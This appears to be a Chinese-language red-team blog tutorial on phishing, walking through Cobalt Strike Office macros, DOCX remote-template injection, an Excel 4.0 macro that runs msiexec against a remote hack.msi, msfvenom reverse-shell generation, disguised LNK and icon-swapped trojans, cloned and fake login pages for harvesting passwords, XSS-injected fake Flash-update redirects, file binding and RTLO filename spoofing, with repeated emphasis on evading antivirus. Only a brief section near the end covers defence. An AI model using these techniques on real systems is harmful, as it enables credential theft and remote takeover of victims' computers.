0x00 概述
網絡釣魚是最常見的社會工程學攻擊方式之一。所謂社會工程學,是一種通過對受害者心理弱點、本能反應、好奇心、信任、貪婪等心理陷阱進行諸如欺騙、傷害等危害手段。在生活工作中,最常使用的郵件、各種文檔也成為黑客常用的攻擊載體。近些年在大型企業邊界安全做的越來越好的情況下,網絡釣魚攻擊和水坑攻擊趨勢也一直呈增長趨勢,特別是在紅藍對抗演練、APT攻擊、勒索軟件攻擊等事件中,扮演了重要的角色。
例如根據搜索來的網站管理員或者護網期間,將一些木馬換成男人無法拒絕的內容,上釣率會質的飛躍,人類該死的好奇心控制不住的,很難控制。
0x01 Office 釣魚攻擊
Office 宏,譯自英文單詞 Macro。宏是 Office 自帶的一種高級腳本特性,通過 VBA 代碼,可以在 Office 中去完成某項特定的任務,而不必再重復相同的動作,目的是讓用戶文檔中的一些任務自動化。而宏病毒是一種寄存在文檔或模板的宏中的計算機病毒。一旦打開這樣的文檔,其中的宏就會被執行,於是宏病毒就會被激活,轉移到計算機上,並駐留在 Normal 模板上。
Visual Basic for Applications(VBA)是 Visual Basic 的一種宏語言,是微軟開發出來在其桌面應用程序中執行通用的自動化(OLE)任務的編程語言。主要能用來擴展 Windows 的應用程序功能,特別是 Microsoft Office 軟件,也可說是一種應用程式視覺化的 Basic 腳本。
說到底,團隊中要有兩個方面的大佬。一個是釣魚攻擊的免殺大佬,一個是誘導大佬,即能夠騙取他人點擊的,熟練掌握人類心理的大佬。
測試環境
系統 windows 10 x64
word 版本 2016 專業(加強)版(未激活)。為了做這個,斥巨資!買了一套office2016!(8塊錢)
cobalt strike4.0
cobalt strike 生成宏
1、開啟CS,在Attacks——Packages——MS Office Macro里面
2、這里其實推薦選擇https,但是因為是測試,所以http也可以
3、生成宏
4、復制出來,可以看到內容
創建宏 Word
1、新建一個word文檔,結合社工誘導其右鍵打開
2、我們打開文件,一定要勾選文件——選項——開發工具
3、在開發工具——點擊宏
4、將之前CS生成的宏內容復制粘貼到這里
5、之后選擇Auto_Open
測試宏文件
6、現在假設自己為受害者,右鍵打開文檔,會看見這里有一個宏已經禁用。我們要誘導他啟用。
7、成功上線
8、隨后不管是雙擊還是右鍵點擊打開,都會上線機器
總結
這都是一些基礎的,在實戰的環境下,必須要做免殺,還要過Office郵件的查殺。
0x02 利用 DOCX 文檔遠程模板注入執行宏
這是最常用的方式,在大多數的APT組織以及紅隊攻擊中,這是最常用的手段。
與傳統的宏啟用文檔相比,這種攻擊的好處是多方面的。在對目標執行網絡釣魚攻擊時,你可以將.docx 的文檔直接附加到電子郵件中,並且你不太可能根據文件的拓展名去阻止它。Word 遠程模板執行宏就是利用Word 文檔加載附加模板時的缺陷所發起的惡意請求而達到的攻擊目的,所以當目標用戶點開攻擊者發給他的惡意 word 文檔就可以通過向遠程服務器發送惡意請求的方式,然后加載模板執行惡意模板的宏。 這種攻擊更常見的原因是,發送的文檔本身是不帶惡意代碼的,能過很多靜態的檢測。
方法:想要開始此攻擊,我們需要創建兩個不同的文件。第一個是啟用宏的模板,或是.dotm 文件,它將包含惡意 VBA 宏。第二個是看似沒有危害的.docx 文件,它本身不包含惡意代碼,只有指向惡意模板文件的目標鏈接。
測試dotm上線
1、還是用CS生成宏payload
2、新建文件 docx 文件 選擇VIsual Basic 點擊Thisdocument,將宏payload粘貼進去,還是選擇auto_Open
3、出現這個彈窗選擇否
4、之后會出現這個界面,然后另存為dotm即可
5、一定要右鍵點擊打開dotm文件,才能成功上線。
6、好了,經過上面的測試,我們得知自己生成的這個dotm是可以讓對方上線的,所以我們將其放在公網服務器上
創建遠程模板加載文檔
1、新建一個新的隨便文檔,然后新建模板
2、將新建的模板.docx文件改為zip后綴,然后再解壓
3、接着修改 word_rels\settings.xml.rels 里的 Target 改成剛設置公網 dotm 文件的訪問網址。切記,一定要加http!
4、將修改后的這幾項,再次壓縮成zip,然后再改后綴為docx
5、之后無論右鍵點擊還是雙擊這個模板2.docx,就會獲得受害者的用戶權限。這種方法 docx 避免殺毒軟件查殺,而且十分隱蔽。
6、看,這是目前的火絨版本,執行剛才的word文件沒有任何的報警。
0x03 Excel 4.0 宏躲避殺軟檢測
Excel 一般指 Microsoft Office Excel。Microsoft Excel 是 Microsoft 為使用 Windows 和 Apple Macintosh 操作系統的電腦編寫的一款電子表格軟件。直觀的界面、出色的計算功能和圖表工具,再加上成功的市場營銷,使 Excel 成為最流行的個人計算機數據處理軟件。它跟 office 一樣都是支持宏,所以一樣存在宏病毒。當我們把惡意的宏代碼嵌入 Excel 中,用戶打開 Excel 文件里的宏就會被觸發。
注意:這個攻擊方式,需要做免殺,不然成功率會很低。(感覺像是說了個廢話,什么釣魚攻擊不用做免殺??)
測試
1、新建一個excel表格,在下方這里,點擊右鍵——插入,就能看見出來一個框,選擇這個MS Excel 4.0宏表
2、在新建的宏1
里面,輸入個=EXEC("calc.exe")
與=HALT()
,這個halt()
函數就是結束函數。那么這兩條命令就能調出計算器,一個天生的命令終端,想運行什么命令都可以,如msconfig
、mstsc
啥的都行。所以我們可以利用這一點,讓其加載遠程的一個宏文件,讓其上線。那么這個宏文件是什么呢?
3、打開kali,生成一個msi
木馬,如下。需要注意的是這個payload是不需要寫x64的。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.128 lport=1234 -f msi -o hack.msi
並且開啟MSF的監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
options
set lhost 10.10.10.128
set lport 1234
exploit -j -z
4、將生成的這個文件,放入到公網VPS上,我這里就用kali來模擬公網VPS了。
python3 -m http.server 2222
5、好,現在就可以把excel里面的命令,換成那個遠程的宏文件了。記得把單元格的名字改為Auto_Open
,這樣用戶打開后可以自動執行。
=EXEC("msiexec /q /i http://192.168.0.180/hack.msi")
=HALT()
好嘛,果然如之前所說,還是得做免殺,不然這個成功率不高。我就先把火絨退了。其實免殺也就是將上面的那兩句做一些操作即可。
6、將這個命令行,也就是宏1表,隱藏起來
7、保存文件,然后右鍵打開,成功上線。這里保存文件也可以保存為Microsoft Excel 啟用宏的工作表 (.xlsm)
0x04 lnk快捷方式釣魚
lnk文件是用於指向其他文件的一種文件。這些文件通常稱為快捷方式文件,通常它以快捷方式放在硬盤上,以方便使用者快速的調用。lnk釣魚主要將圖標偽裝成正常圖標,但是目標會執行shell命令。
CS演示
1、生成powershell無文件落地
2、把語句復制出來,新建一個快捷方式,粘貼進去。最好將生成的powershell命令用powershell絕對路徑補齊,不然有時候會無效。
然后一路確認,更改名字,可以不加后綴,或者加個JPG后綴都可以。
不過這個可能會觸發火絨
我們再來生成一次,可以點擊這個Manage Web Server
按鈕,來展示已經建立的80端口
3、偽裝一下圖標,下載一張美女的圖片,在www.bitbug.net網站,上傳美女圖片,然后生成ico圖標,保存到桌面上。
4、更改圖標,瀏覽選擇剛才生成的
可以看到已經成功了
5、還有一個比較簡單的更改圖標方式,直接右鍵,選擇更改圖標,然后輸入這個路徑,打開shell32.dll
文件,這個文件里面全是圖標
%SystemRoot%\System32\SHELL32.dll
5、發送給受害者誘導其點擊
總結
1、Powershell無文件落地的命令固然好用,但是,容易被殺軟攔截。不過被殺軟360攔截的時候,如果用戶不點擊那個阻止操作30秒倒計時后就會直接執行。
如果用戶不小心點擊了允許執行,那就直接上線了,360還是會來回彈窗說阻止啥的,只不過,已經晚了。
2、Powershell無文件落地最好用全路徑來使CS生成的powershell payload完整。
3、更改圖標的方法,可以用內置的%SystemRoot%\System32\SHELL32.dll
文件
0x05 CS克隆網站釣魚
克隆網站主要指模仿相關網頁的頁面格式,制作頁面顏色、標識均與原網站視覺效果相同,且域名差別不大,被用於謀取利益的非法網站。當受害人訪問時,如果對方沒有防御的心里,看到類似相同的網站一般情況下都會輸入賬號和密碼,同時也可以誘導受害人下載惡意文件,也可以劫持網頁,記錄鍵盤輸入等操作
注意:CS克隆網站有個BUG,不知道為什么,第一次打開電腦,打開CS,可以克隆成功,但是往后就成功不了了。一直報這個錯誤。
用法一:記錄鍵盤內容
1、選擇Attacks——web Drive-by——Clone Site
2、https://exmail.qq.com/login克隆企業郵箱,這里有四個選項,分別代表着不同的含義
3、受害者登錄這個網站,然后敲擊鍵盤就可以在CS的web log
界面(需要自己打開,不會自己彈出來)中看到鍵盤記錄了。這個鍵盤記錄其實也是用的JS來操作的。
用法二:配合ATTACK選項
2、把https://exmail.qq.com/login復制進去,點擊這個Attack,可以生成對應的一些payload
由於BUG十分多,比較蛋疼,就沒復現這個了。暫時先放一放。
0x06 假網站釣魚
假網站詐騙是“網絡釣魚”的一種,通常是指不法嫌疑人未經許可,以銀行的名義,通過互聯網建立貌似銀行網站或網上銀行的假網頁,並借此發布虛假消息,搜集客戶資料,騙取客戶網上銀行注冊卡號(登錄 ID)、密碼、口令等信息,進而達到非法竊取客戶資金的目的。釣魚(假網站)的表現形式釣魚(假網站)的網址與真網站網址較為接近。由於國內注冊域名的成本非常低,不法分子為增強假網站的欺騙性,往往使用和真實網站網址非常相似的域名。釣魚(假網站)的頁面形式和內容與真網站較為相似。假冒網站的頁面往往使用正規網站的 LOGO、圖表、新聞內容和鏈接,而且在布局和內容上與真實網站非常相似。假網站門檻很低,只要類似目標域名和一套高仿的網站源碼,加上一些虛假信息,誘導目標用戶。目標用戶填寫登錄信息,如賬號、郵箱、密碼、身份證等敏感信息。
我從網上下載了一些模仿QQ空間的源碼,使用kali快速建立了一個apache2服務,然后搭建起來的網站如下(需要將網站的用戶調成www-data或者添加寫入權限,才能使這個網站成功搭建起來,因為要將用戶輸入的數值寫入到文件中的)
第一種
這個只能選擇下面的繼續訪問觸屏版
受害者輸入對應的賬號和密碼
先看網頁,會自動跳到QQ空間官網
那么我們回到KALI這里,可以看到網站根目錄存在了一個fish.txt
第二種網站——更真實
同理,隨后可以訪問cha.php
或者直接查看data.txt
文件,也可以看到對方的賬密
有一個瑕疵,就是這個網站已經訪問不到了,我們可以手寫成別的網站。這是一個很好的網頁跳轉案例,值得用來代碼審計學習。
換成現在的QQ空間域名,就正常了,不得不說,騰訊還是狠啊,有錢了就把之前的xyz結尾域名換成了com
0x07 Flash 釣魚
在日常滲透中,當發現網站程序中有 xss 漏洞或有網站修改權限的時,想要獲取管理員電腦權限,可以是嘗試 flash 釣魚,因為 flash 是瀏覽器必不可少的軟件,而且經常升級。很多人習以為常,對此沒有任何的防御心理。當拿到后台權限時候,臨時弄一個升級提示,讓后台管理員訪問指定有后門的網址,下載 flash 升級程序,這個升級程序是一個免殺過的后門程序,管理員下載運行,惡意程序是過殺毒軟件的。整個過程管理員都難以發現。
釣魚過程
准備類似 flash 的官網的域名,flash 網頁程序,免殺過殺毒軟件的后門程序。
工具 cobaltstrike 4.0 shellcode 免殺過 360 全家桶 把文名修改成flashplayer_install_cn.exe
,同時還可以修改圖標為flash的圖標。
第一種:純頁面
git clone https://github.com/Wileysec/adobe-flash-phishing-page.git
這個其實很簡單,直接利用Kali搭建一個apache2服務即可;
為了更加真實,我這里使用phpstudy來假設購買了一個與flash官網很相近的域名來直接搭建HTTPS的網站,(只要一搭建https,就會同步生成一個http網站)並且同步hosts文件,就可以看到我們訪問www.flash.com,出來的就是這個源碼展示出來的效果。
修改一下立即下載對應的鏈接,改成自己公網IP的免殺木馬,或者就是當前URL下面的exe程序,如http://www.flash.com/flashplayer_install_cn.exe
CS監聽,並且布下天羅地網
點擊——立即下載——即可收到
第二種:激進風格,含有POP框
具體利用:當我們找到一個具有XSS漏洞或者已經進入到了后台,有更改網站權限的網站,我們可以將一段JS代碼插入到網頁文件中。
1、新建一個網站,假設它具有XSS漏洞
2、在我們之前創建的釣魚網站目錄下面放入一個js文件,這個JS文件中寫入下面這段代碼
window.alert = function(name){
var iframe = document. createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document. documentElement.appendChild(iframe);
window.frames [0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert( "您的 FLASH 版本過低,嘗試升級后訪問該頁面! ");
window. location.href="http://www.flash.com";
3、再到存在漏洞的網站根目錄下面,插入這段JS代碼。別忘了JS代碼需要在head標簽中插入。
<script src="http://www.flash.com/version.js"></script> #根據自己創建的釣魚網站進行修改
4、再次訪問這個受害網站,就能看到這里會有一個彈窗,當點擊確定,就會跳轉到之前的釣魚網站,沒有安全意識的人就會下載exe程序運行后就上線了。這個彈窗瞬間就沒了,自動點擊了確定,不清楚為什么。
其實有一個缺點,就是chrome瀏覽器,根本不會跳轉。谷歌瀏覽器還是安全系數高啊。
0x08 更改圖標文件釣魚
文件釣魚是一種很古老的很直接的釣魚方式,利用圖片圖標偽裝常用的工具和文件。配上特定環境的和術語,可以很好的誘導客戶打開文件進而獲取對方的用戶計算機的權限。以前真的特別流行,什么游戲裝備,發給你,隨便給你,你一打開,電腦就被控制了。
復現
1、准備免殺的木馬文件,使用 Restorator 對其圖標進行更改。將木馬文件和隨便一個exe文件都可以,拖進這個文件里面,我這里用的是微信。
2、隨后右鍵點擊微信下面的這個圖標文件夾,復制一下,粘貼到自己的木馬上面
3、點擊保存
4、刷新木馬所在的目錄,就可以看到自己的木馬變成了微信的圖標
5、也可以右鍵,導入到,然后選擇一些比較有誘惑性的圖標,比如說流行游戲的圖標,騙別人使用外掛。然后讓使用外掛的傻*們上線中招。我這里就不從網上找ICO圖標了,可以從阿里的ICO圖標矢量庫下載PNG,然后在https://www.bitbug.net/這個網站中轉換為ICO。
0x09 捆綁文件釣魚
捆綁文件,在現在已經不是很常用了,以前還是十分常用的。從網上找了一些工具,找到了這個,還算可以。。。最起碼已經達到了文件捆綁的效果了。
https://github.com/Yihsiwei/GoFileBinder
復現效果
1、編譯GoFileBinder成exe文件
2、將木馬文件和一個其他的exe放在一起
3、使用如下命令捆綁兩個軟件
GoFileBinder.exe loveYOU.exe qudong.exe
4、使用火絨查殺一下木馬文件
使用火絨查殺一下這個捆綁后的文件Yihsiwei.exe
5、雙擊打開Yihsiwei.exe
,效果如下。哈哈哈哈挺有意思的,木馬還是被殺了,但是這個確實是達到了文件捆綁的效果。
6、關掉火絨,雙擊捆綁后的文件,可以看到成功上線了。
0x10 文件名反轉(了解即可)
偽裝文件中有個比較古老的方式,但依然會在攻擊中看到它的身影。RTLO字符全名為“RIGHT-TO-LEFT OVERRIDE”,是一個不可顯示的控制類字符,其本質是 unicode 字符。可以將任意語言的文字內容按倒序排列,最初是用來支持一些從右往左寫的語言的文字,比如阿拉伯語,希伯來語。由於它可以重新排列字符的特性,會被攻擊者利用從而達到欺騙目標,使得用戶運行某些具有危害性的可執行文件。
一句話:RLO,即Right-to-Left Override,我們可以在⽂件名中插⼊此類unicode字符,來達到⽂件名反轉的效果。
例子1
1、利用msf監聽,phantom_evasion生成帶有數字簽名的免殺木馬
2、然后將loveyou.exe命名為loveyoupgj.exe
,隨后按照下圖所示進行操作,其實最后我試了,沒什么特別有用的,還是容易被發現。
例子2
例子利用熱門歌星最新的歌曲 RTLO 進行偽裝。缺點殺毒軟件會進行攔截。
0x11 Cobalt Strike 魚叉釣魚
魚叉式網絡釣魚(Spear phishing)指一種源於亞洲與東歐只針對特定目標進行攻擊的網絡釣魚攻擊。目標由於魚叉式網絡釣魚鎖定之對象並非一般個人,而且特定公司、組織之成員,故受竊之資訊已非一般網絡釣魚所竊取之個人資料,而是其他高度敏感性資料,如知識產權及商業機密。網絡釣魚是指誘導人們連接那些黑客已經鎖定的目標。這種攻擊方法的成功率很高,也非常常見。點擊鏈接、打開表格或者連接其他一些文件都會感染病毒。一次簡單的點擊相當於為攻擊者開啟了一扇電子門,這樣他就可以接觸到你的內部弱點了。因為你已經同意他進入,他能夠接觸弱點,然后挖掘信息和授權連接。
釣魚過程
在 Cobalt Strike 提供了一個郵箱釣魚模塊。
1、准備要釣魚的目標郵箱
2、模板文件
3、smtp 賬號發送郵箱。一般這個SMTP用QQ、163、新浪都可以
復現
1、先來認識一下CS的spaish,共有6個選項欄,作用如圖所示
2、第一個選項是目標網站,寫成一個txt文件然后保存導入即可
3、模版文件的制作,隨便找一個郵件,然后選擇顯示郵件原文,點擊右鍵可以將其復制下來保存為readfile
。這個readfile
就是要導入到Template
里面的
4、當受害者打開郵件下載附件打開就軟件就會中了我們准備后的木馬。另外點擊鏈接就會跳轉到精致准備好的釣魚網站。
0x12 釣魚防御
我們在上面學了那么多釣魚的方式,肯定也知道了該怎么防御了。
1、對於office釣魚,我們盡量不去使用老版本的office,例如office2016。如果平時我們收到了釣魚文件,讓我們下載一些word文檔之類的,我們應該首先先將word的后綴變成zip,然后解壓查看里面的文件,有無外鏈。切勿上來就直接雙擊!!不要對excel文件進行雙擊或者右鍵打開的操作,打開excel文件后,在sheet1那里右鍵選擇取消隱藏,查看是否有無命令執行的代碼。不要啟用宏!
2、對於未知網站,也不要輕易輸入自己的真實信息,就算沒有提交,也會被監聽鍵盤!
3、警惕flash更新網站以及flash.exe!不要被更換了圖標的exe程序騙了!不要輕易點擊exe程序
4、使用病毒檢測網站,對可疑文件進行檢測
https://www.virustotal.com/gui/home/upload
此網站十分給力,不僅僅可以檢查文件,還可以檢查URL,IP等,就是上傳速度可能會有點慢
0x13 文章中所需工具與源碼
鏈接:https://pan.baidu.com/s/12lG4cS4oEua-lHzvyGBoPw
提取碼:BYnb